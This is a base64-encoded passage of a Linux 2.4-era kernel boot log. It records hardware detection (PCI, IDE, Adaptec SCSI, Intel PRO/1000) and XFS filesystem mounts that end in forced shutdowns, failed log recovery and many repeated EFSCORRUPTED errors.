CklSUTYgLT4gMDo2CklSUTcgLT4gMDo3CklSUTggLT4gMDo4CklSUTkgLT4g MDo5CklSUTEyIC0+IDA6MTIKSVJRMTQgLT4gMDoxNApJUlExNSAtPiAwOjE1 CklSUTE2IC0+IDE6MApJUlExNyAtPiAxOjEKSVJRMTggLT4gMToyCklSUTE5 IC0+IDE6MwpJUlEyMCAtPiAxOjQKSVJRMjEgLT4gMTo1CklSUTIyIC0+IDE6 NgpJUlEyMyAtPiAxOjcKSVJRMjQgLT4gMTo4CklSUTI1IC0+IDE6OQpJUlEy NiAtPiAxOjEwCklSUTI3IC0+IDE6MTEKSVJRMjggLT4gMToxMgpJUlEyOSAt PiAxOjEzCklSUTMwIC0+IDE6MTQKSVJRMzEgLT4gMToxNQouLi4uLi4uLi4u Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4gZG9uZS4KVXNpbmcgbG9jYWwg QVBJQyB0aW1lciBpbnRlcnJ1cHRzLgpjYWxpYnJhdGluZyBBUElDIHRpbWVy IC4uLgouLi4uLiBDUFUgY2xvY2sgc3BlZWQgaXMgMTM5Ni40NDAwIE1Iei4K Li4uLi4gaG9zdCBidXMgY2xvY2sgc3BlZWQgaXMgMTMyLjk5MzkgTUh6Lgpj cHU6IDAsIGNsb2NrczogMTMyOTkzOSwgc2xpY2U6IDQ0MzMxMwpDUFUwPFQw OjEzMjk5MzYsVDE6ODg2NjA4LEQ6MTUsUzo0NDMzMTMsQzoxMzI5OTM5Pgpj cHU6IDEsIGNsb2NrczogMTMyOTkzOSwgc2xpY2U6IDQ0MzMxMwpDUFUxPFQw OjEzMjk5MzYsVDE6NDQzMjk2LEQ6MTQsUzo0NDMzMTMsQzoxMzI5OTM5Pgpj aGVja2luZyBUU0Mgc3luY2hyb25pemF0aW9uIGFjcm9zcyBDUFVzOiBwYXNz ZWQuCldhaXRpbmcgb24gd2FpdF9pbml0X2lkbGUgKG1hcCA9IDB4MikKQWxs IHByb2Nlc3NvcnMgaGF2ZSBkb25lIGluaXRfaWRsZQpQQ0k6IFBDSSBCSU9T IHJldmlzaW9uIDIuMTAgZW50cnkgYXQgMHhmYzcyZSwgbGFzdCBidXM9MwpQ Q0k6IFVzaW5nIGNvbmZpZ3VyYXRpb24gdHlwZSAxClBDSTogUHJvYmluZyBQ Q0kgaGFyZHdhcmUKVW5rbm93biBicmlkZ2UgcmVzb3VyY2UgMjogYXNzdW1p bmcgdHJhbnNwYXJlbnQKUENJOiBEaXNjb3ZlcmVkIHByaW1hcnkgcGVlciBi dXMgMDEgW0lSUV0KUENJOiBEaXNjb3ZlcmVkIHByaW1hcnkgcGVlciBidXMg MDMgW0lSUV0KUENJOiBVc2luZyBJUlEgcm91dGVyIFNlcnZlcldvcmtzIFsx MTY2LzAyMDBdIGF0IDAwOjBmLjAKUENJLT5BUElDIElSUSB0cmFuc2Zvcm06 IChCMCxJNCxQMCkgLT4gMTYKUENJLT5BUElDIElSUSB0cmFuc2Zvcm06IChC MixJNCxQMCkgLT4gMjYKUENJLT5BUElDIElSUSB0cmFuc2Zvcm06IChCMixJ NCxQMSkgLT4gMjgKUENJLT5BUElDIElSUSB0cmFuc2Zvcm06IChCMyxJNixQ MCkgLT4gMjAKUENJLT5BUElDIElSUSB0cmFuc2Zvcm06IChCMyxJOCxQMCkg LT4gMTcKTGludXggTkVUNC4wIGZvciBMaW51eCAyLjQKQmFzZWQgdXBvbiBT d2Fuc2VhIFVuaXZlcnNpdHkgQ29tcHV0ZXIgU29jaWV0eSBORVQzLjAzOQpJ bml0aWFsaXppbmcgUlQgbmV0bGluayBzb2NrZXQKU3RhcnRpbmcga3N3YXBk CmFsbG9jYXRlZCAzMiBwYWdlcyBhbmQgMzIgYmhzIHJlc2VydmVkIGZvciB0 aGUgaGlnaG1lbSBib3VuY2VzClZGUzogRGlzayBxdW90YXMgdmRxdW90XzYu NS4xCkluc3RhbGxpbmcga25mc2QgKGNvcHlyaWdodCAoQykgMTk5NiBva2ly QG1vbmFkLnN3Yi5kZSkuCkFDUEk6IENvcmUgU3Vic3lzdGVtIHZlcnNpb24g WzIwMDExMDE4XQpBQ1BJOiBTdWJzeXN0ZW0gZW5hYmxlZApwdHk6IDI1NiBV bml4OTggcHR5cyBjb25maWd1cmVkClNlcmlhbCBkcml2ZXIgdmVyc2lvbiA1 LjA1YyAoMjAwMS0wNy0wOCkgd2l0aCBNQU5ZX1BPUlRTIFNIQVJFX0lSUSBT RVJJQUxfUENJIGVuYWJsZWQKdHR5UzAwIGF0IDB4MDNmOCAoaXJxID0gNCkg aXMgYSAxNjU1MEEKdHR5UzAxIGF0IDB4MDJmOCAoaXJxID0gMykgaXMgYSAx NjU1MEEKUmVhbCBUaW1lIENsb2NrIERyaXZlciB2MS4xMGUKVW5pZm9ybSBN dWx0aS1QbGF0Zm9ybSBFLUlERSBkcml2ZXIgUmV2aXNpb246IDYuMzEKaWRl OiBBc3N1bWluZyAzM01IeiBzeXN0ZW0gYnVzIHNwZWVkIGZvciBQSU8gbW9k ZXM7IG92ZXJyaWRlIHdpdGggaWRlYnVzPXh4ClNlcnZlcldvcmtzIE9TQjQ6 IElERSBjb250cm9sbGVyIG9uIFBDSSBidXMgMDAgZGV2IDc5ClNlcnZlcldv cmtzIE9TQjQ6IGNoaXBzZXQgcmV2aXNpb24gMApTZXJ2ZXJXb3JrcyBPU0I0 OiBub3QgMTAwJSBuYXRpdmUgbW9kZTogd2lsbCBwcm9iZSBpcnFzIGxhdGVy CiAgICBpZGUwOiBCTS1ETUEgYXQgMHgwOGIwLTB4MDhiNywgQklPUyBzZXR0 aW5nczogaGRhOkRNQSwgaGRiOnBpbwogICAgaWRlMTogQk0tRE1BIGF0IDB4 MDhiOC0weDA4YmYsIEJJT1Mgc2V0dGluZ3M6IGhkYzpwaW8sIGhkZDpwaW8K aGRhOiBTQU1TVU5HIENELVJPTSBTTi0xMjQsIEFUQVBJIENEL0RWRC1ST00g ZHJpdmUKaWRlMCBhdCAweDFmMC0weDFmNywweDNmNiBvbiBpcnEgMTQKaGRh OiBBVEFQSSAyNFggQ0QtUk9NIGRyaXZlLCAxMjhrQiBDYWNoZSwgVURNQSgz MykKVW5pZm9ybSBDRC1ST00gZHJpdmVyIFJldmlzaW9uOiAzLjEyCkZsb3Bw eSBkcml2ZShzKTogZmQwIGlzIDEuNDRNCkZEQyAwIGlzIGEgTmF0aW9uYWwg U2VtaWNvbmR1Y3RvciBQQzg3MzA2ClNDU0kgc3Vic3lzdGVtIGRyaXZlciBS ZXZpc2lvbjogMS4wMApzY3NpMCA6IEFkYXB0ZWMgQUlDN1hYWCBFSVNBL1ZM Qi9QQ0kgU0NTSSBIQkEgRFJJVkVSLCBSZXYgNi4yLjgKICAgICAgICA8QWRh cHRlYyBhaWM3ODk5IFVsdHJhMTYwIFNDU0kgYWRhcHRlcj4KICAgICAgICBh aWM3ODk5OiBVbHRyYTE2MCBXaWRlIENoYW5uZWwgQSwgU0NTSSBJZD03LCAz Mi8yNTMgU0NCcwoKc2NzaTEgOiBBZGFwdGVjIEFJQzdYWFggRUlTQS9WTEIv UENJIFNDU0kgSEJBIERSSVZFUiwgUmV2IDYuMi44CiAgICAgICAgPEFkYXB0 ZWMgYWljNzg5OSBVbHRyYTE2MCBTQ1NJIGFkYXB0ZXI+CiAgICAgICAgYWlj Nzg5OTogVWx0cmExNjAgV2lkZSBDaGFubmVsIEIsIFNDU0kgSWQ9NywgMzIv MjUzIFNDQnMKCnNjc2kyIDogQWRhcHRlYyBBSUM3WFhYIEVJU0EvVkxCL1BD SSBTQ1NJIEhCQSBEUklWRVIsIFJldiA2LjIuOAogICAgICAgIDxBZGFwdGVj IDI5MTYwIFVsdHJhMTYwIFNDU0kgYWRhcHRlcj4KICAgICAgICBhaWM3ODky OiBVbHRyYTE2MCBXaWRlIENoYW5uZWwgQSwgU0NTSSBJZD03LCAzMi8yNTMg U0NCcwoKICBWZW5kb3I6IFFVQU5UVU0gICBNb2RlbDogQVRMQVMxMEszXzE4 X1NDQSAgUmV2OiAxMjBHCiAgVHlwZTogICBEaXJlY3QtQWNjZXNzICAgICAg ICAgICAgICAgICAgICAgIEFOU0kgU0NTSSByZXZpc2lvbjogMDMKKHNjc2kw OkE6MCk6IDE2MC4wMDBNQi9zIHRyYW5zZmVycyAoODAuMDAwTUh6IERULCBv ZmZzZXQgMTI3LCAxNmJpdCkKICBWZW5kb3I6IERFTEwgICAgICBNb2RlbDog MXg2IFUyVyBTQ1NJIEJQICAgUmV2OiAxLjI5CiAgVHlwZTogICBQcm9jZXNz b3IgICAgICAgICAgICAgICAgICAgICAgICAgIEFOU0kgU0NTSSByZXZpc2lv bjogMDIKc2NzaTA6QTowOjA6IFRhZ2dlZCBRdWV1aW5nIGVuYWJsZWQuICBE ZXB0aCAyNTMKICBWZW5kb3I6IElGVCAgICAgICBNb2RlbDogSUZULTcyMDAg ICAgICAgICAgUmV2OiAwMTQ0CiAgVHlwZTogICBEaXJlY3QtQWNjZXNzICAg ICAgICAgICAgICAgICAgICAgIEFOU0kgU0NTSSByZXZpc2lvbjogMDMKKHNj c2kyOkE6MCk6IDgwLjAwME1CL3MgdHJhbnNmZXJzICg0MC4wMDBNSHosIG9m ZnNldCAzMSwgMTZiaXQpCiAgVmVuZG9yOiBBRFZVTkkgICAgTW9kZWw6IE9Y WUdFTlJBSUQgMzIwV0cgIFJldjogMDIxMwogIFR5cGU6ICAgRGlyZWN0LUFj Y2VzcyAgICAgICAgICAgICAgICAgICAgICBBTlNJIFNDU0kgcmV2aXNpb246 IDA0CihzY3NpMjpBOjEpOiAxNjAuMDAwTUIvcyB0cmFuc2ZlcnMgKDgwLjAw ME1IeiBEVCwgb2Zmc2V0IDYyLCAxNmJpdCkKc2NzaTI6QTowOjA6IFRhZ2dl ZCBRdWV1aW5nIGVuYWJsZWQuICBEZXB0aCAyNTMKc2NzaTI6QToxOjA6IFRh Z2dlZCBRdWV1aW5nIGVuYWJsZWQuICBEZXB0aCAyNTMKQXR0YWNoZWQgc2Nz aSBkaXNrIHNkYSBhdCBzY3NpMCwgY2hhbm5lbCAwLCBpZCAwLCBsdW4gMApB dHRhY2hlZCBzY3NpIGRpc2sgc2RiIGF0IHNjc2kyLCBjaGFubmVsIDAsIGlk IDAsIGx1biAwCkF0dGFjaGVkIHNjc2kgZGlzayBzZGMgYXQgc2NzaTIsIGNo YW5uZWwgMCwgaWQgMSwgbHVuIDAKU0NTSSBkZXZpY2Ugc2RhOiAzNTU2NjQ3 OCA1MTItYnl0ZSBoZHdyIHNlY3RvcnMgKDE4MjEwIE1CKQpQYXJ0aXRpb24g Y2hlY2s6CiBzZGE6IHNkYTEgc2RhMiBzZGEzIHNkYTQgPCBzZGE1IHNkYTYg c2RhNyBzZGE4IHNkYTkgPgpTQ1NJIGRldmljZSBzZGI6IDE2MDA4MTc5MjAg NTEyLWJ5dGUgaGR3ciBzZWN0b3JzICgtMjc5ODkyIE1CKQogc2RiOiBzZGIx IHNkYjIKU0NTSSBkZXZpY2Ugc2RjOiAtNzc4OTMyMjI0IDUxMi1ieXRlIGhk d3Igc2VjdG9ycyAoLTM5ODgxMiBNQikKIHNkYzogc2RjMQpORVQ0OiBMaW51 eCBUQ1AvSVAgMS4wIGZvciBORVQ0LjAKSVAgUHJvdG9jb2xzOiBJQ01QLCBV RFAsIFRDUCwgSUdNUApJUDogcm91dGluZyBjYWNoZSBoYXNoIHRhYmxlIG9m IDE2Mzg0IGJ1Y2tldHMsIDEyOEtieXRlcwpUQ1A6IEhhc2ggdGFibGVzIGNv bmZpZ3VyZWQgKGVzdGFibGlzaGVkIDI2MjE0NCBiaW5kIDY1NTM2KQpORVQ0 OiBVbml4IGRvbWFpbiBzb2NrZXRzIDEuMC9TTVAgZm9yIExpbnV4IE5FVDQu MC4KVkZTOiBNb3VudGVkIHJvb3QgKGV4dDIgZmlsZXN5c3RlbSkgcmVhZG9u bHkuCkZyZWVpbmcgdW51c2VkIGtlcm5lbCBtZW1vcnk6IDIzNmsgZnJlZWQK QWRkaW5nIFN3YXA6IDIwMDAwNTJrIHN3YXAtc3BhY2UgKHByaW9yaXR5IC0x KQpBZGRpbmcgU3dhcDogMjAwMDA1Mmsgc3dhcC1zcGFjZSAocHJpb3JpdHkg LTIpCkludGVsKFIpIFBSTy8xMDAwIE5ldHdvcmsgRHJpdmVyIC0gdmVyc2lv biA0LjMuMgpDb3B5cmlnaHQgKGMpIDE5OTktMjAwMiBJbnRlbCBDb3Jwb3Jh dGlvbi4KZXRoMDogSW50ZWwoUikgUFJPLzEwMDAgTmV0d29yayBDb25uZWN0 aW9uCkxWTSB2ZXJzaW9uIDEuMC4zKDE5LzAyLzIwMDIpIG1vZHVsZSBsb2Fk ZWQKbG9vcDogbG9hZGVkIChtYXggOCBkZXZpY2VzKQpTR0kgWEZTIENWUyB3 aXRoIEFDTHMsIHF1b3RhLCBubyBkZWJ1ZyBlbmFibGVkClhGUyBtb3VudGlu ZyBmaWxlc3lzdGVtIHNkKDgsNSkKWEZTIG1vdW50aW5nIGZpbGVzeXN0ZW0g c2QoOCw4KQplMTAwMDogZXRoMCBOSUMgTGluayBpcyBVcCAxMDAwIE1icHMg RnVsbCBEdXBsZXgKbmZzZDogbGFzdCBzZXJ2ZXIgaGFzIGV4aXRlZApuZnNk OiB1bmV4cG9ydGluZyBhbGwgZmlsZXN5c3RlbXMKWEZTIG1vdW50aW5nIGZp bGVzeXN0ZW0gc2QoOCwzMykKWEZTIG1vdW50aW5nIGZpbGVzeXN0ZW0gc2Qo OCwxNykKWEZTIHF1b3RhY2hlY2sgc2QoOCwxNyk6IFBsZWFzZSB3YWl0LgpY RlMgcXVvdGFjaGVjayBzZCg4LDE3KTogRG9uZS4KWEZTIG1vdW50aW5nIGZp bGVzeXN0ZW0gc2QoOCwxOCkKWEZTIHF1b3RhY2hlY2sgc2QoOCwxOCk6IFBs ZWFzZSB3YWl0LgpYRlMgcXVvdGFjaGVjayBzZCg4LDE4KTogRG9uZS4KWEZT IG1vdW50aW5nIGZpbGVzeXN0ZW0gc2QoOCwxNykKWEZTIHF1b3RhY2hlY2sg c2QoOCwxNyk6IFBsZWFzZSB3YWl0LgpYRlMgcXVvdGFjaGVjayBzZCg4LDE3 KTogRG9uZS4KWEZTIG1vdW50aW5nIGZpbGVzeXN0ZW0gc2QoOCwxOCkKWEZT IHF1b3RhY2hlY2sgc2QoOCwxOCk6IFBsZWFzZSB3YWl0LgpYRlMgcXVvdGFj aGVjayBzZCg4LDE4KTogRG9uZS4KWEZTIG1vdW50aW5nIGZpbGVzeXN0ZW0g c2QoOCwxNykKWEZTIHF1b3RhY2hlY2sgc2QoOCwxNyk6IFBsZWFzZSB3YWl0 LgpYRlMgcXVvdGFjaGVjayBzZCg4LDE3KTogRG9uZS4KWEZTIG1vdW50aW5n IGZpbGVzeXN0ZW0gc2QoOCwxOCkKWEZTIHF1b3RhY2hlY2sgc2QoOCwxOCk6 IFBsZWFzZSB3YWl0LgpYRlMgcXVvdGFjaGVjayBzZCg4LDE4KTogRG9uZS4K eGZzX2ZvcmNlX3NodXRkb3duKHNkKDgsMTgpLDB4OCkgY2FsbGVkIGZyb20g bGluZSAxMDQxIG9mIGZpbGUgeGZzX3RyYW5zLmMuICBSZXR1cm4gYWRkcmVz cyA9IDB4ZjhhOGI3MjkKQ29ycnVwdGlvbiBvZiBpbi1tZW1vcnkgZGF0YSBk ZXRlY3RlZC4gIFNodXR0aW5nIGRvd24gZmlsZXN5c3RlbTogc2QoOCwxOCkK UGxlYXNlIHVtb3VudCB0aGUgZmlsZXN5c3RlbSwgYW5kIHJlY3RpZnkgdGhl IHByb2JsZW0ocykKeGZzX2ZvcmNlX3NodXRkb3duKHNkKDgsMTcpLDB4OCkg Y2FsbGVkIGZyb20gbGluZSAxMDQxIG9mIGZpbGUgeGZzX3RyYW5zLmMuICBS ZXR1cm4gYWRkcmVzcyA9IDB4ZjhhOGI3MjkKeGZzX2ZvcmNlX3NodXRkb3du KHNkKDgsMTcpLDB4MikgY2FsbGVkIGZyb20gbGluZSA3MTMgb2YgZmlsZSB4 ZnNfbG9nLmMuICBSZXR1cm4gYWRkcmVzcyA9IDB4ZjhhN2VkODMKQ29ycnVw dGlvbiBvZiBpbi1tZW1vcnkgZGF0YSBkZXRlY3RlZC4gIFNodXR0aW5nIGRv d24gZmlsZXN5c3RlbTogc2QoOCwxNykKUGxlYXNlIHVtb3VudCB0aGUgZmls ZXN5c3RlbSwgYW5kIHJlY3RpZnkgdGhlIHByb2JsZW0ocykKWEZTIG1vdW50 aW5nIGZpbGVzeXN0ZW0gc2QoOCwxOCkKU3RhcnRpbmcgWEZTIHJlY292ZXJ5 IG9uIGZpbGVzeXN0ZW06IHNkKDgsMTgpIChkZXY6IDgvMTgpClhGUzogeGxv Z19yZWNvdmVyX3Byb2Nlc3NfZGF0YTogYmFkIGNsaWVudGlkClhGUzogbG9n IG1vdW50L3JlY292ZXJ5IGZhaWxlZApYRlM6IGxvZyBtb3VudCBmYWlsZWQK WEZTIG1vdW50aW5nIGZpbGVzeXN0ZW0gc2QoOCwxNykKU3RhcnRpbmcgWEZT IHJlY292ZXJ5IG9uIGZpbGVzeXN0ZW06IHNkKDgsMTcpIChkZXY6IDgvMTcp ClhGUzogeGxvZ19yZWNvdmVyX3Byb2Nlc3NfZGF0YTogYmFkIGNsaWVudGlk ClhGUzogbG9nIG1vdW50L3JlY292ZXJ5IGZhaWxlZApYRlM6IGxvZyBtb3Vu dCBmYWlsZWQKWEZTIG1vdW50aW5nIGZpbGVzeXN0ZW0gc2QoOCwxNykKWEZT IG1vdW50aW5nIGZpbGVzeXN0ZW0gc2QoOCwxOCkKWEZTIHF1b3RhY2hlY2sg c2QoOCwxOCk6IFBsZWFzZSB3YWl0LgpFRlNDT1JSVVBURUQgcmV0dXJuZWQg ZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVE IHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVG U0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxp bmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19p YWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVkIGZyb20g ZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRFRCByZXR1 cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JS VVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEz MTMKRUZTQ09SUlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9j LmMgbGluZSAxMzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUg eGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQg ZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVE IHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVG U0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxp bmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19p YWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVkIGZyb20g ZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRFRCByZXR1 cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JS VVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEz MTMKRUZTQ09SUlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9j LmMgbGluZSAxMzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUg eGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQg ZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKWEZTIHF1b3RhY2hl Y2sgc2QoOCwxOCk6IERvbmUuCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9t IGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0 dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09S UlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAx MzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxv Yy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxl IHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVk IGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRF RCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpF RlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBs aW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNf aWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9t IGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0 dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09S UlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAx MzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxv Yy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxl IHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVk IGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRF RCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpF RlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBs aW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNf aWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9t IGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0 dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09S UlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAx MzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxv Yy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxl IHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVk IGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRF RCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpF RlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBs aW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNf aWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9t IGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0 dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09S UlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAx MzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxv Yy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxl IHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVk IGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRF RCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpF RlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBs aW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNf aWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9t IGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0 dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09S UlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAx MzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxv Yy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxl IHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVk IGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRF RCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpF RlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBs aW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNf aWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9t IGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0 dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09S UlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAx MzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxv Yy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxl IHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVk IGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRF RCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpF RlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBs aW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNf aWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9t IGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0 dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09S UlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAx MzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxv Yy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxl IHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVk IGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRF RCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpF RlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBs aW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNf aWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9t 